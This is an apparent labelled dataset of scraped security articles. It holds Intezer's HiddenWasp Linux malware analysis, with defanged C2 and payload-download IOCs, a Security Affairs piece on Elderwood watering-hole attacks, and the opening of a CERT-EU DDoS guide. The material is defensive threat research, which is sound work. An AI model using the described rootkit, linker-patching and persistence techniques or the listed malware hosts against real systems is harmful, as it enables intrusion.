mailto:USFraudControl@visa.com","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Intezer - HiddenWasp Malware Stings Targeted Linux Systems Search for: Home Products Intezer Analyze\xe2\x84\xa2 Technology Company About Careers News & Events Contact Us Partners Blog Resources \xc2 Try it Now \xc2 Try our free Community Edition Search for: [contact-form-7 404 ""Not Found""] Blog Cybersecurity DNA Request pricing Select Country United States Canada Afghanistan Albania Algeria Andorra Angola Antigua and Barbuda Argentina Armenia Aruba Australia Austria Azerbaijan Bahamas Bahrain Bangladesh Barbados Belarus Belgium Belize Benin Bermuda Bhutan Bolivia Bosnia and Herzegovina Botswana Brazil Brunei Bulgaria Burkina Faso Burundi Cambodia Cameroon Cape Verde Cayman Islands Central African Republic Chad Chile China Colombia Comoros Democratic Republic of the Congo (Kinshasa) Congo, Republic of(Brazzaville) Costa Rica Croatia Cuba Cyprus Czech Republic Denmark Djibouti Dominica Dominican Republic East Timor (Timor-Leste) Ecuador Egypt El Salvador Equatorial Guinea Eritrea Estonia Ethiopia Fiji Finland France Gabon Gambia Georgia Germany Ghana Gibraltar Great Britain Greece Grenada Guatemala Guinea Guinea-Bissau Guyana Haiti Honduras Hong Kong Hungary Iceland India Indonesia Iran (Islamic Republic of) Iraq Ireland Israel Italy Ivory Coast Jamaica Japan Jordan Kazakhstan Kenya Kiribati Korea, Democratic People's Rep. (North Korea) Korea, Republic of (South Korea) Kosovo Kuwait Kyrgyzstan Laos, People's Democratic Republic Latvia Lebanon Lesotho Liberia Libya Liechtenstein Lithuania Luxembourg Macau Macedonia, Rep. of Madagascar Malawi Malaysia Maldives Mali Malta Marshall Islands Mauritania Mauritius Mexico Micronesia, Federal States of Moldova, Republic of Monaco Mongolia Montenegro Morocco Mozambique Myanmar, Burma Namibia Nauru Nepal Netherlands New Caledonia New Zealand Nicaragua Niger Nigeria Norway Oman Pakistan Palau Palestinian territories Panama Papua New Guinea Paraguay Peru Philippines Poland Portugal Puerto Rico Qatar Romania Russian Federation Rwanda Saint Kitts and Nevis Saint Lucia Saint Vincent and the Grenadines Samoa San Marino Sao Tome and Principe Saudi Arabia Senegal Serbia Seychelles Sierra Leone Singapore Slovakia (Slovak Republic) Slovenia Solomon Islands Somalia South Africa South Sudan Spain Sri Lanka Sudan Suriname Swaziland Sweden Switzerland Syria, Syrian Arab Republic Taiwan (Republic of China) Tajikistan Tanzania; officially the United Republic of Tanzania Thailand Tibet Togo Tonga Trinidad and Tobago Tunisia Turkey Turkmenistan Tuvalu Uganda Ukraine United Arab Emirates United Kingdom Uruguay Uzbekistan Vanuatu Vatican City State (Holy See) Venezuela Vietnam Yemen Zambia Zimbabwe Select State Alabama Alaska American Samoa Arizona Arkansas California Colorado Connecticut Delaware District of Columbia Florida Georgia Guam Hawaii Idaho Illinois Indiana Iowa Kansas Kentucky Louisiana Maine Maryland Massachusetts Michigan Minnesota Mississippi Missouri Montana Nebraska Nevada New Hampshire New Jersey New Mexico New York North Carolina North Dakota Northern Mariana Islands Ohio Oklahoma Oregon Pennsylvania Puerto Rico Rhode Island South Carolina South Dakota Tennessee Texas United States Minor Outlying Islands Utah Vermont Virgin Islands Virginia Washington West Virginia Wisconsin Wyoming HiddenWasp Malware Stings Targeted Linux Systems Ignacio Sanmillan 29.05.19 | 1:36 pm Share: \xc2 Overview \xe2\x80\xa2 Intezer has discovered a new, sophisticated malware that we have named \xe2\x80\x9cHiddenWasp\xe2\x80\x9d, targeting Linux systems. \xe2\x80\xa2 The malware is still active and has a zero-detection rate in all major anti-virus systems. \xe2\x80\xa2 Unlike common Linux malware, HiddenWasp is not focused on crypto-mining or DDoS activity. It is a trojan purely used for targeted remote control. \xe2\x80\xa2 Evidence shows in high probability that the malware is used in targeted attacks for victims who are already under the attacker\xe2\x80\x99s control, or have gone through a heavy reconnaissance. \xe2\x80\xa2 HiddenWasp authors have adopted a large amount of code from various publicly available open-source malware, such as Mirai and the Azazel rootkit. In addition, there are some similarities between this malware and other Chinese malware families, however the attribution is made with low confidence. \xe2\x80\xa2 We have detailed our recommendations for preventing and responding to this threat. \xc2 1. Introduction Although the Linux threat ecosystem is crowded with IoT DDoS botnets and crypto-mining malware, it is not very common to spot trojans or backdoors in the wild. Unlike Windows malware, Linux malware authors do not seem to invest too much effort writing their implants. In an open-source ecosystem there is a high ratio of publicly available code that can be copied and adapted by attackers. In addition, Anti-Virus solutions for Linux tend to not be as resilient as in other platforms. Therefore, threat actors targeting Linux systems are less concerned about implementing excessive evasion techniques since even when reusing extensive amounts of code, threats can relatively manage to stay under the radar. Nevertheless, malware with strong evasion techniques do exist for the Linux platform. There is also a high ratio of publicly available open-source malware that utilize strong evasion techniques and can be easily adapted by attackers. We believe this fact is alarming for the security community since many implants today have very low detection rates, making these threats difficult to detect and respond to. We have discovered further undetected Linux malware that appear to be enforcing advanced evasion techniques with the use of rootkits to leverage trojan-based implants. In this blog we will present a technical analysis of each of the different components that this new malware, HiddenWasp, is composed of. We will also highlight interesting code-reuse connections that we have observed to several open-source malware. The following images are screenshots from VirusTotal of the newer undetected malware samples discovered: \xc2 2. Technical Analysis When we came across these samples we noticed that the majority of their code was unique: Similar to\xc2 the recent Winnti Linux variants\xc2 reported by Chronicle,\xc2 the infrastructure of this malware is composed of a user-mode rootkit, a trojan and an initial deployment script. We will cover each of the three components in this post, analyzing them and their interactions with one another. \xc2 2.1 Initial Deployment Script: When we spotted these undetected files in VirusTotal it seemed that among the uploaded artifacts there was a bash script along with a trojan implant binary. We observed that these files were uploaded to VirusTotal using a\xc2 path containing the name of a Chinese-based forensics company known as Shen Zhou Wang Yun Information Technology Co., Ltd. Furthermore, the malware implants seem to be hosted in servers from\xc2 a physical server hosting company known as ThinkDream located in Hong Kong. Among the uploaded files, we observed that one of the files was a bash script\xc2 meant to deploy the malware itself into a given compromised system, although it appears to be for testing purposes: Thanks to this file we were able to download further artifacts not present in VirusTotal related to this campaign.\xc2 This script will start by defining a set of variables that would be used throughout the script. Among these variables we can spot the credentials of a user named \xe2\x80\x98sftp\xe2\x80\x99, including its hardcoded password. This user seems to be created as a means to provide initial persistence to the compromised system: Furthermore, after the system\xe2\x80\x99s user account has been created, the script proceeds to clean the system as a means to update older variants if the system was already compromised: The script will then proceed to download a tar compressed archive\xc2 from a\xc2 download server according to the architecture of the compromised system.\xc2 This tarball will contain all of the components from the malware, containing the rootkit, the trojan and an initial deployment script: After malware components have been installed, the script will then proceed to execute the trojan: We can see that the main trojan binary is executed, the rootkit is added to LD_PRELOAD path and another series of environment variables are set such as the \xe2\x80\x98I_AM_HIDDEN\xe2\x80\x99. We will cover throughout this post what the role of this environment variable is. To finalize, the script attempts to install reboot persistence for the trojan binary by adding it to /etc/rc.local. Within this script we were able to observe that the main implants were downloaded in the form of tarballs. As previously mentioned, each tarball contains the main trojan, the rootkit and a deployment script for x86 and x86_64 builds accordingly. The deployment script has interesting insights of further features that the malware implements, such as the introduction of a new environment variable \xe2\x80\x98HIDE_THIS_SHELL\xe2\x80\x99: We found some of the environment variables used in a open-source rootkit known as Azazel. It seems that this actor changed the default environment variable from Azazel, that one being HIDE_THIS_SHELL for I_AM_HIDDEN. We have based this conclusion on the fact that the environment variable HIDE_THIS_SHELL was not used throughout the rest of the components of the malware and it seems to be residual remains from Azazel original code. The majority of the code from the rootkit implants involved in this malware infrastructure are noticeably different from the original Azazel project. Winnti Linux variants are also known to have reused code from this open-source project. \xc2 2.2 The Rootkit: The rootkit is a user-space based rootkit enforced via LD_PRELOAD linux mechanism. It is delivered in the form of an ET_DYN stripped ELF binary. This shared object has an DT_INIT dynamic entry. The value held by this entry is an address that will be executed once the shared object gets loaded by a given process: Within this function we can see that eventually control flow falls into a function in charge to resolve a set of dynamic imports, which are the functions it will later\xc2 hook, alongside with decoding a series of strings needed for the rootkit operations. We can see that for each string it allocates a new dynamic buffer, it copies the string to it to then decode it. It seems that the implementation for dynamic import resolution slightly varies in comparison to the one used in Azazel\xc2 rootkit. When we wrote the script to simulate the cipher that implements the string decoding function we observed the following algorithm: We recognized that a similar algorithm to the one above was used in the past by Mirai, implying that authors behind this rootkit may have ported and modified some code from Mirai. After the rootkit main object has been loaded into the address space of a given process and has decrypted its strings, it will export the functions that are intended to be hooked. We can see these exports to be the following: For every given export, the rootkit will hook and implement a specific operation accordingly, although they all have a similar layout. Before the original hooked function is called, it is checked whether the environment variable \xe2\x80\x98I_AM_HIDDEN\xe2\x80\x99 is set: We can see an example of how the rootkit hooks the function fopen in the following screenshot: We have observed that after checking whether the \xe2\x80\x98I_AM_HIDDEN\xe2\x80\x99 environment variable is set, it then runs a function to hide all the rootkits\xe2\x80\x99 and trojans\xe2\x80\x99 artifacts. In addition, specifically to the fopen function it will also check whether the file to open is \xe2\x80\x98/proc/net/tcp\xe2\x80\x99 and if it is it will attempt to hide the malware\xe2\x80\x99s connection to the cnc by scanning every entry for the destination or source ports used to communicate with the cnc, in this case 61061. This is also the default port in Azazel rootkit. The rootkit primarily implements artifact hiding mechanisms as well as tcp connection hiding as previously mentioned.\xc2 Overall functionality of the rootkit can be illustrated in the following diagram: \xc2 2.3 The Trojan: The trojan comes in the form of a statically linked ELF binary linked with stdlibc++. We noticed that the trojan has code connections with ChinaZ\xe2\x80\x99s Elknot implant in regards to some common MD5 implementation in one of the statically linked libraries it was linked with: In addition, we also see a high rate of shared strings with other known ChinaZ malware, reinforcing the possibility that actors behind\xc2 HiddenWasp may have integrated and modified some MD5 implementation from Elknot that could have been shared in Chinese hacking forums: When we analyze the main we noticed that the first action the trojan takes is to retrieve its configuration: The malware configuration is appended at the end of the file and has the following structure: The malware will try to load itself from the disk and parse this blob to then retrieve the static encrypted configuration. Once encryption configuration has been successfully retrieved the configuration will be decoded and then parsed as json. The cipher used to encode and decode the configuration is the following: This cipher seems to be an RC4 alike algorithm with an already computed PRGA generated key-stream.\xc2 It is important to note that this same cipher is used later on in the network communication protocol between trojan clients and their CNCs. After the configuration is decoded the following json will be retrieved: Moreover, if the file is running as root, the malware will attempt to change the default location of the dynamic linker\xe2\x80\x99s LD_PRELOAD path. This location is usually at /etc/ld.so.preload, however there is always a possibility to patch the dynamic linker binary to change this path: Patch_ld function will scan for any existent /lib paths. The scanned paths are the following: The malware will attempt to find the dynamic linker binary within these paths. The dynamic linker filename is usually prefixed with ld-. Once the dynamic linker is located, the malware will find the offset where the /etc/ld.so.preload string is located within the binary and will overwrite it with the path of the new target preload path, that one being /sbin/.ifup-local. To achieve this patching it will execute the following formatted string by using the xxd hex editor utility by previously having encoded the path of the rootkit in hex: Once it has changed the default LD_PRELOAD path from the dynamic linker it will deploy a thread to enforce that the rootkit is successfully installed using the new LD_PRELOAD path. In addition, the trojan will communicate with the rootkit via the environment variable \xe2\x80\x98I_AM_HIDDEN\xe2\x80\x99 to serialize the trojan\xe2\x80\x99s session for the rootkit to apply evasion mechanisms on any other sessions. After seeing the rootkit\xe2\x80\x99s functionality, we can understand that the rootkit and trojan work together in order to help each other to remain persistent in the system, having the rootkit attempting to hide the trojan and the trojan enforcing the rootkit to remain operational. The following diagram illustrates this relationship: Continuing with the execution flow of the trojan, a series of functions are executed to enforce evasion of some artifacts: These artifacts are the following: By performing some OSINT regarding these artifact names, we found that they belong to a Chinese open-source rootkit for Linux known as Adore-ng\xc2 hosted in GitHub: The fact that these artifacts are being searched for suggests that potentially targeted Linux systems by these implants may have already been compromised with some variant of this open-source rootkit as an additional artifact in this malware\xe2\x80\x99s infrastructure. Although those paths are being searched for in order to hide their presence in the system, it is important to note that none of the analyzed artifacts related to this malware are installed in such paths. This finding may imply that the target systems this malware is aiming to intrude may be already known compromised targets by the same group or a third party that may be collaborating with the same end goal of this particular campaign. Moreover, the trojan communicated with a simple network protocol over TCP. We can see that when connection is established to the Master or Stand-By\xc2 servers there is a handshake mechanism involved in order to identify the client. With the help of this function we where able to understand the structure of the communication protocol employed. We can illustrate the structure of this communication protocol by looking at a pcap of the initial handshake between the server and client: We noticed while analyzing this protocol that the Reserved and Method\xc2 fields are always constant, those being 0 and 1 accordingly. The cipher table offset represents the offset in the hardcoded key-stream that the encrypted payload was encoded with. The following is the fixed keystream this field makes reference to: After decrypting the traffic and analyzing some of the network related functions of the trojan, we noticed that the communication protocol is also implemented in json format. To show this, the following image is the decrypted handshake packets between the CNC and the trojan: After the handshake is completed, the trojan will proceed to handle CNC requests: Depending on the given requests the malware will perform different operations accordingly. An overview of the trojan\xe2\x80\x99s functionalities performed by request handling are shown below: 2.3. Prevention and Response Prevention: Block Command-and-Control IP addresses detailed in the IOCs section. Response:\xc2 We have provided a YARA rule\xc2 intended to be run against in-memory artifacts in order to be able to detect these implants. In addition, in order to check if your system is infected, you can search for \xe2\x80\x9cld.so\xe2\x80\x9d files \xe2\x80\x94 if any of the files do not contain the string \xe2\x80\x98/etc/ld.so.preload\xe2\x80\x99, your system may be compromised. This is because the trojan implant will attempt to patch instances of ld.so in order to enforce the LD_PRELOAD mechanism from arbitrary locations. \xc2 4. Summary We analyzed every component of HiddenWasp explaining how the rootkit and trojan implants work in parallel with each other in order to enforce persistence in the system. We have also covered how the different components of HiddenWasp have adapted pieces of code from various open-source projects. Nevertheless, these implants managed to remain undetected. Linux malware may introduce new challenges for the security community that we have not yet seen in other platforms. The fact that this malware manages to stay under the radar should be a wake up call for the security industry to allocate greater efforts or resources to detect these threats. Linux malware will continue to become more complex over time and currently even common threats do not have high detection rates, while more sophisticated threats have even lower visibility.\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 IOCs 103.206.123[.]13 103.206.122[.]245 http://103.206.123[.]13:8080/system.tar.gz http://103.206.123[.]13:8080/configUpdate.tar.gz http://103.206.123[.]13:8080/configUpdate-32.tar.gz e9e2e84ed423bfc8e82eb434cede5c9568ab44e7af410a85e5d5eb24b1e622e3 f321685342fa373c33eb9479176a086a1c56c90a1826a0aef3450809ffc01e5d d66bbbccd19587e67632585d0ac944e34e4d5fa2b9f3bb3f900f517c7bbf518b 0fe1248ecab199bee383cef69f2de77d33b269ad1664127b366a4e745b1199c8 2ea291aeb0905c31716fe5e39ff111724a3c461e3029830d2bfa77c1b3656fc0 d596acc70426a16760a2b2cc78ca2cc65c5a23bb79316627c0b2e16489bf86c0 609bbf4ccc2cb0fcbe0d5891eea7d97a05a0b29431c468bf3badd83fc4414578 8e3b92e49447a67ed32b3afadbc24c51975ff22acbd0cf8090b078c0a4a7b53d f38ab11c28e944536e00ca14954df5f4d08c1222811fef49baded5009bbbc9a2 8914fd1cfade5059e626be90f18972ec963bbed75101c7fbf4a88a6da2bc671b By Ignacio Sanmillan Nacho is a security researcher specializing in reverse engineering and malware analysis. Nacho plays a key role in Intezer's malware hunting and investigation operations, analyzing and documenting new undetected threats. Some of his latest research involves detecting new Linux malware and finding links between different threat actors. Nacho is an adept ELF researcher, having written numerous papers and conducting projects implementing state-of-the-art obfuscation and anti-analysis techniques in the ELF file format. Tags: code reuse HiddenWasp Linux malware Share: Register to our free community Try it now A Straw-by-Straw Analysis: The Zero-Trust Approach for your Alert Haystack Chinese APTs Rising: Key Takeaways from the Intezer Analyze Community in May Related Posts Intezer Analyze Community: GonnaCry, HawkEye, BXAQ and More August 1, 2019 Siemplify and Intezer: Incorporate Genetic Malware Analysis into your SOAR Platform (Video) July 30, 2019 Intezer Analyze Community: Mapping Code Connections Between Malware Samples July 29, 2019 Watching the WatchBog: New BlueKeep Scanner and Linux Exploits July 24, 2019 Home Products Intezer Analyze\xe2\x84\xa2 Technology Company About Careers News and Events Contact us Blog Resources \xc2\xa9 Intezer.com 2019 All rights reserved Terms of Use Privacy Policy","0","1","0","1","1","1","1","0","0","0","1","0","0","0","1","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","1","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Elderwood project, who is behind Op. Aurora and ongoing attacks? - Security AffairsSecurity Affairs Home Cyber Crime Cyber warfare APT Data Breach Deep Web Digital ID Hacking Hacktivism Intelligence Internet of Things Laws and regulations Malware Mobile Reports Security Social Networks Terrorism EXTENDED COOKIE POLICY Contact me Must Read Australia is confident that China was behind attack on parliament, political parties Experts warn of the exposure of thousands of Google Calendars online Backup files for Lion Air and parent airlines exposed and exchanged on forums Experts found 125 new flaws in SOHO routers and NAS devices from multiple vendors Fraudulent purchases of digitals certificates through executive impersonation MobiHok RAT, a new Android malware based on old SpyNote RAT Home Cyber Crime Cyber warfare APT Data Breach Deep Web Digital ID Hacking Hacktivism Intelligence Internet of Things Laws and regulations Malware Mobile Reports Security Social Networks Terrorism EXTENDED COOKIE POLICY Contact me Elderwood project, who is behind Op. Aurora and ongoing attacks? September 9, 2012\xc2 By\xc2 Pierluigi\xc2 Paganini Today I desire to discuss on the real effect of a cyber attack, we have recently introduced the direct and indirect effects of the several cyber espionage campaigns discovered such as Flame and Gauss, but we never approached the problem in future projection examining the possible impacts of an incident many years after it. Symantec researchers published an analysis that demonstrate the link between a series of attacks to more than 30 companies and the cyber espionage attacks moved against Google three years ago so-called Operation Aurora. Operation Aurora is considered an epical cyber attack which happened during second half of 2009 and publicly disclosed by Google on January 2010. The sophisticated attacks appeared to be originated in China and aimed at dozens of other organizations were hit, of which Adobe Systems and Juniper Networks that confirmed the incident.\xc2 The press is also convinced that other companies were targeted such as Morgan Stanley, Northrop Grumman and Yahoo. Aurora attack is one of the most complex operation due the capability of attacker to exploit several 0-day vulnerabilities included one related the popular IE Explorer, in\xc2 2010 a notable zero-day exploit was linked to the group of hackers that used a Trojan horse called \xe2\x80\x9cAurora\xe2\x80\x9d\xc2 diffused using an Internet Explorer (IE) zero-day, and targeted a large number of Western companies. According the security firm Symantec the hackers behind the attacks still have knowledge of 0-day vulnerabilities, and at least four of them have been used in recent attacks against different targets across strategic sectors such as energy, defense, aeronautics and financial. Orla Cox, senior manager at Symantec\xe2\x80\x99s security response division reported that it has been exploited at least eight zero-day vulnerabilities since late 2010, and four since last spring. She said: \xe2\x80\x9cWe were amazed when Stuxnet used\xc2 four\xc2 zero-days, but this group has been able to discover\xc2 eight\xc2 zero-days. More, the fact that they have prepared [their attacks] and are ready to go as soon as they have a new zero-day, and the speed with which they use these zero-days, is something we\xe2\x80\x99ve not seen before.\xe2\x80\x9d The document of security firm reports: \xe2\x80\x9cThis group is focused on wholesale theft of intellectual property and clearly has the resources, in terms of manpower, funding, and technical skills, required to implement this task,\xe2\x80\x9d \xe2\x80\x9cThe group seemingly has an unlimited supply of zero-day vulnerabilities.\xe2\x80\x9d The attacks part of the cyber espionage campaign discovered by Symantec has been named \xe2\x80\x9cElderwood Project\xe2\x80\x9d, for their execution have been exploited 0-day vulnerabilities in many large-use software including IExplorer and Adobe Flash Player. The experts from Symantec declared that some of the exploits have been realized from the knowledge of stolen source code. \xe2\x80\x9cIn order to discover these vulnerabilities, a large undertaking would be required by the attackers to thoroughly reverse-engineer the compiled application,\xe2\x80\x9d \xe2\x80\x9cThis effort would be substantially reduced if they had access to source code. The group seemingly has an unlimited supply of zero-day vulnerabilities. The vulnerabilities are used as needed, often within close succession of each other if exposure of the currently used vulnerability is imminent.\xe2\x80\x9d The attacks conducted during the recent months have been using an unusual method to infect the victims with a malware, it has been named \xe2\x80\x9cwatering hole\xe2\x80\x9d attack and consists to inject malicious code onto the public Web pages of a site that the targets us to visit. The method of injection isn\xe2\x80\x99t new and is commonly used by cyber criminals and hackers, the main difference between their use in cybercrime and in watering hole attacks is related to the choice of websites to compromise and use in the attacks. The attackers haven\xe2\x80\x99t indiscriminately compromised any website but they\xc2 are focused choosing websites within a particular sector so as to infect persons of\xc2 interest who likely work in that same sector and are likely to therefore visit related websites. The Symantec report states: \xe2\x80\x9cTargeting a specific\xc2 website is much more difficult than merely locating websites that contain a vulnerability. The attacker has to\xc2 research and probe for a weakness on the chosen website. Indeed, in watering hole attacks, the attackers may compromise a website months before they actually use\xc2 it in an attack. Once compromised, the attackers periodically connect to the website to ensure that they still\xc2 have access. This way, the attackers can infect a number of websites in one stroke, thus preserving the value of\xc2 their zero-day exploit. They are even in a position to inspect the website logs to identify any potential victims of\xc2 interest. This technique ensures that they obtain the maximum return for their valuable zero-day exploit.\xe2\x80\x9d \xc2 Once a victim visits the compromised site, the software for which the 0-days have been\xc2 designed will make possible the infection of the machine. Symantec researcher have detected the use of this method using at least three different zero-day exploits in the last month. The researchers believe that a specific platform has been implemented to conduct the operations, all the attacks use a\xc2 \xc2 Trojan to infect the target computer that is packaged with a packer and also the\xc2 address of the command-and-control (C&C) server.\xc2 The delivery of the malware to the final victim is either though an email or a Web based vector. I opened the post supporting the idea that Aurora attacks are state sponsored, it\xe2\x80\x99s clear that I have no evidences for this, but the nature of the job made, the targets chosen\xc2 and the complexity of the operations make me believe that it is a result of a government project. \xc2 The unique certainty according Symantec is a connection between the most recent attacks and those used in attacks in 2011, demonstrable with common technical features and a noticeable similarity in the timing of the attacks and the types of vulnerabilities used between the 2012 and 2011 attacks. \xe2\x80\x9cAfter this initial compromise, the attackers consolidate their beachhead and begin to analyze the stolen information, spreading through networks and maintaining access as needed. By analyzing the information gathered, the attackers can identify yet more targets of interest\xe2\x80\x9d Cox said Symantec has no hard evidence of this: \xe2\x80\x9cBut this is a full-time job,\xe2\x80\x9d \xe2\x80\x9cThe work they do is both skilled and time consuming. They would have to work at it full time, so someone is paying them to do this.\xe2\x80\x9d \xe2\x80\x9cThe analysis has shown that certain organizations have been hit in different ways, indicating that they\xe2\x80\x99re of particular interest to [their paymasters],\xe2\x80\x9d I leave you all the interpretations of Symantec expert, but I think that her thought is not far from mine. Waiting for further analysis any manufacturers who are in the defense supply chain need to be wary of these type of attacks. Subsidiaries, business partners, and associated companies are considerable priviledged targets, an easy way to break penetrate defense system of large companies \xe2\x80\xa6 raise your guard the enemy may already be in.\xc2 Pierluigi\xc2 Paganini (Security Affairs\xc2 \xe2\x80\x93 Elderwood Project, Operation Aurora) Share this... Facebook Twitter Linkedin Reddit Pinterest 0-day vulnerabilitiesChinacyber espionageElderwood projectFlameGoogleOperation Aurorastate-sponsored attacksTrojan Share On Pierluigi Paganini Pierluigi Paganini is member of the ENISA (European Union Agency for Network and Information Security) Threat Landscape Stakeholder Group and Cyber G7 Group, he is also a Security Evangelist, Security Analyst and Freelance Writer. Editor-in-Chief at ""Cyber Defense Magazine"", Pierluigi is a cyber security expert with over 20 years experience in the field, he is Certified Ethical Hacker at EC Council in London. The passion for writing and a strong belief that security is founded on sharing and awareness led Pierluigi to find the security blog ""Security Affairs"" recently named a Top National Security Resource for US. Pierluigi is a member of the ""The Hacker News"" team and he is a writer for some major publications in the field such as Cyber War Zone, ICTTF, Infosec Island, Infosec Institute, The Hacker News Magazine and for many other Security magazines. Author of the Books ""The Deep Dark Web"" and \xe2\x80\x9cDigital Virtual Currency and Bitcoin\xe2\x80\x9d. Previous Article Dangerous waves of malware are transforming cyberspace in a jungle Next Article Part 1: Authentication Series - A world of passwords You might also like Australia is confident that China was behind attack on parliament, political parties September 17, 2019\xc2 By\xc2 Pierluigi\xc2 Paganini Astaroth Trojan leverages Facebook and YouTube to avoid detection September 16, 2019\xc2 By\xc2 Pierluigi\xc2 Paganini Sponsored Content Digging the Deep Web: Exploring the dark side of the web Yoroi Blog Yoroi Blog Sponsored Content Sponsored Content Sponsored Content Sponsored Content More Story Dangerous waves of malware are transforming cyberspace in a jungle The cyberspace is becoming a jungle of malware, a place where the danger is just around the corner. Governments, cyber criminals,... Copyright 2015 Security Affairs by Pierluigi Paganini All Right Reserved. Back to top Home Cyber Crime Cyber warfare APT Data Breach Deep Web Digital ID Hacking Hacktivism Intelligence Internet of Things Laws and regulations Malware Mobile Reports Security Social Networks Terrorism EXTENDED COOKIE POLICY Contact me This site uses cookies, including for analytics, personalization, and advertising purposes. For more information or to change your cookie settings, click here. If you continue to browse this site without changing your cookie settings, you agree to this use. Accept Read More Privacy and Cookies Policy Necessary Always Enabled","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"DDoS Overview and Response Guide CERT-EU Security Whitepaper 17-003 DDoS Overview and Response Guide V.Revuelto, S.Meintanis, K.Socha ver. 1.0 March 10, 2017 TLP: WHITE 1 Introduction A distributed denial-of-service attack (or DDoS attack) is a malicious attempt using multiple systems to make computer or network resources unavailable to its intended users, usually by interrupting or suspending services connected to the Internet.[1] The evolution of DDoS attack techniques and targets has been continuously followed in the past by the specialists ranging from powerful companies, which manage an important part of the global Internet bandwidth and content delivery networks, to security expert blogs. However, recently it has caught general attention due to several incidents that might mean a change of paradigm in the way such attacks have been addressed so far, mainly for two reasons presented below. First, from a technical perspective, it is remarkable that the bandwidth of some of the latest attacks skyrockets in comparison to what has been seen previously. On October 21, 2016, a series of DDoS attacks against Dyn DNS (a DNS provider used by many important Internet companies) impacted the availability of a number of sites concentrated in the north-east of the United States and, later on, other areas of the USA. Impacted sites included among others: PayPal, Twitter, Reddit, GitHub, Amazon, Netflix, Spotify, and RuneScape. Also, earlier that month, the attacks against the Krebs on Security blog and the French Internet service and hosting provider OVH reached 620 Gbps and 1.2 Tbps respectively [2]. The attack against the Krebs on Security blog trying to silence it \xe2\x80\x93 this blog has been very active explaining the techniques and motivation of the DDoS threat actors [3] \xe2\x80\x93 is especially revealing about this change of scale. The blog, which had been targeted by DDoS attacks previously, was protected by the Akamai DDoS mitigation service. Akami was providing protection for free due to the public relevance of this blog in the community. However following the attacks in October 2016, Akami was forced to cancel the service due to the huge resources needed for the mitigation: Akamai had protected krebsonsecurity.com for four years, but the magnitude of the attacks seen during the final week were significantly larger than the majority of attacks Akamai sees on a regular basis. [4] Botnets exploiting vulnerabilities in hundred of thousands of Internet connected devices, such as cameras, DVRs, and home DSL routers were behind an important part of these massive attacks. The fact that security was not one of the design targets for these devices was long considered a potential threat by the security community, which was often neglected by the manufacturers. These potential threats have turned into serious incidents with many devices affected. On November 26, 2016, Deutsche Telekom announced an outage affecting over 900 000 customers. The affected customers all had routers that were vulnerable to a specific exploit that was incorporated into an Internet of Things (IoT) worm that was released on the Internet. The aim of this worm was to add these devices under the control of one of the botnet masters. During that week, there was a peak of traffic related to that vulnerability \xe2\x80\x93 most prominently in Brazil and the UK [5, 6]. The second factor to be underlined is the fact that in August 2016 the code of one of the IoT botnets was publicly released on Internet, which makes it much more easy for different threat actors to achieve such attacks by exploiting vulnerabilities in the IoT devices. It is difficult to assess at the moment, how this potentially easy proliferation of such botnets will affect the number and power of the attacks in the future. Strategies to mitigate DDoS need to be adopted. These should focus initially on prevention, but eventually by designing multi-layered defense strategies. Therefore, DDoS threats should 1 be taken into account as part of Business Continuity Planning, along with issues such as site selection, power outages, and natural disasters. In this document, CERT-EU has focused on procedures for securing IT infrastructure from threats against availability. The white-paper is based on proven DDoS identification and mitigation methods that can effectively and efficiently respond to DDoS attacks. 1.1 Target Audience This document is aimed at general IT staff that has undertaken the responsibility of being pre- pared to respond to DDoS incident. This document only provides high-level guidelines. Dif- ferent approaches are possible and may be valid. This document should rather be seen as a guideline in case of the absence of more specific local policies and procedures related to this topic. It does not supersede any specific applicable policies or procedures, which should be followed if they exist. In case of doubts or any additional questions about this document, do not hesitate to seek further advice and assistance from your respective authorities or CERT-EU team. 2 DDoS Attack Categories There are three primary categories of DDoS attacks [1]: Volumetric Attacks: These include UDP, ICMP, and other (spoofed or not) packet floods. The attack aims to saturate the bandwidth of the 